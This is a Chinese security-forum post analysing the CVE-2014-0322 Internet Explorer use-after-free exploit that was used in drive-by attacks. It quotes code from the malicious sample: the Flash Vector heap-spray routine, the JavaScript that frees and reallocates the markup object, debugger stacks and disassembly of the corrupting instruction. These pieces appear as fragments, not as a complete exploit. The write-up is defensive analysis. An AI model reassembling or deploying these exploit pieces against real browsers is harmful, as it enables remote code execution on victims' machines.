[原创]CVE-2014-0322 0day Exploit分析
发表于:
2014-2-17 10:55
14116
[原创]CVE-2014-0322 0day Exploit分析
最近有个IE 0day (CVE-2014-0322)被用于挂马。尽管这个漏洞本身存在于IE里面,但是为了实现成功利用,这个样本还借用了flash作为辅助,来突破各种防护。IE+flash的组合也给分析带来了一些挑战,以前没有分析过这样的组合,正好借此机会详细分析了一下,整理成文章,大家一起交流学习。如有错误之处,还请大家批评指正。
本文涉及的内容包括:
1. 整个exploit的流程分析。
2. 漏洞的成因。
3. 使用flash uint vector进行DEP/ASLR绕过的技术。
4. 样本中的ROP片段。
5. 样本的shellcode行为。
样本网上搜搜都有,我就不发了,不传播恶意软件~CVE-2014-0322 0day Exploit 分析
古河http://weibo.com/u/1874932054 最近有个 IE 0day (CVE-2014-0322)被用于挂马。尽管这个漏洞本身存在于 IE 里面,但是为了
实现成功利用,这个样本还借用了 flash 作为辅助,来突破各种防护。IE+flash 的组合也给分
析带来了一些挑战,以前没有分析过这样的组合,正好借此机会详细分析了一下,整理成文
章,大家一起交流学习。如有错误之处,还请大家批评指正。
本文涉及的内容包括:
1. 整个 exploit 的流程分析。
2. 漏洞的成因。
3. 使用 flash uint vector 进行 DEP/ASLR 绕过的技术。
4. 样本中的 ROP 片段。
5. 样本的 shellcode 行为。1.本文使用的样本
本文使用的样本一共包含三个文件
Index.html (就是那个 html 文件,原名叫什么我忘了)
Tope.swf
Erido.jpg
这些文件在网上搜一下基本都能找到了,我这里就不给出来了。2.入口点
整个攻击的入口点是 index.html,它会尝试去加载 Tope.swf:<embed src=Tope.swf width=10 height=10></embed> 3.Tope.swf 加载以及 heap spray
在 Tope.swf 初始化的时候,它首先尝试从服务器获取”Erido.jpg”
_local1.url = "Erido.jpg";
this.l.dataFormat = URLLoaderDataFormat.BINARY;
this.l.addEventListener(Event.COMPLETE, this.E_xx);
this.l.load(_local1);
this.s = new Vector.<Object>(98688); // totally 98688 vectors to spray
var _local7:* = ((0x1000 / 4) - 2); // each vector has 0x3fe elements
…
while (_local2 < 98688) {
…
this.s[_local2] = new Vector.<uint>(_local7); // create one of the vectors
}
while (_local2 < 0x0400) {
this.ss[_local2] = new Vector.<Object>(_local9);
_local3 = 0;
while (_local3 < _local9) {
this.ss[_local2][_local3] = this.snd; //初始化成同一个 Sound 对象
_local3++;
};
_local2++;
};
var a=document.getElementsByTagName("script");
var b=a[0];
b.onpropertychange=fun; // 为 script 节 点 设 置 “onpropertychange”
08:45 处理函数
var c=document.createElement('SELECT'); // 创建一个 “select”节点
c=b.appendChild(c); // 将新创建的 select 节点附加到 script 节点上
[B]MSHTML!CDoc::CreateMarkupFromInfo+0x0000017f // new CMarkupObject created[/B]
MSHTML!CDoc::CreateMarkupWithElement+0x0000008a
MSHTML!CElement::GetDOMInsertPosition+0x000001c0
MSHTML!CElement::InsertBeforeHelper+0x0000007e
MSHTML!CElement::InsertBeforeHelper+0x000000e5
MSHTML!CElement::InsertBefore+0x00000036
MSHTML!CElement::Var_appendChild+0x000000cb
[B]MSHTML!CMarkup::NotifyElementEnterTree+0x1df
call CElement::HandleTextChange(bool)[/B]
this.outerHTML=this.outerHTML // frees the DOM thus frees the CMarkup Object
for(a=0;a<arrLen;++a)
{
g_arr[a].title=d.substring(0,d.length);
}
CMarkup::UpdateMarkupContentsVersion(void)
.text:637C943E
.text:637C943E mov eax, [edx+7Ch]
.text:637C9441 inc eax
.text:637C9442 or eax, 80000000h
.text:637C9447 mov [edx+7Ch], eax
.text:637C944A mov eax, [edx+0ACh]
.text:637C9450 test eax, eax
.text:637C9452 jz short loc_637C9457
[B].text:637C9454 inc dword ptr [eax+10h][/B]
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
上传的附件: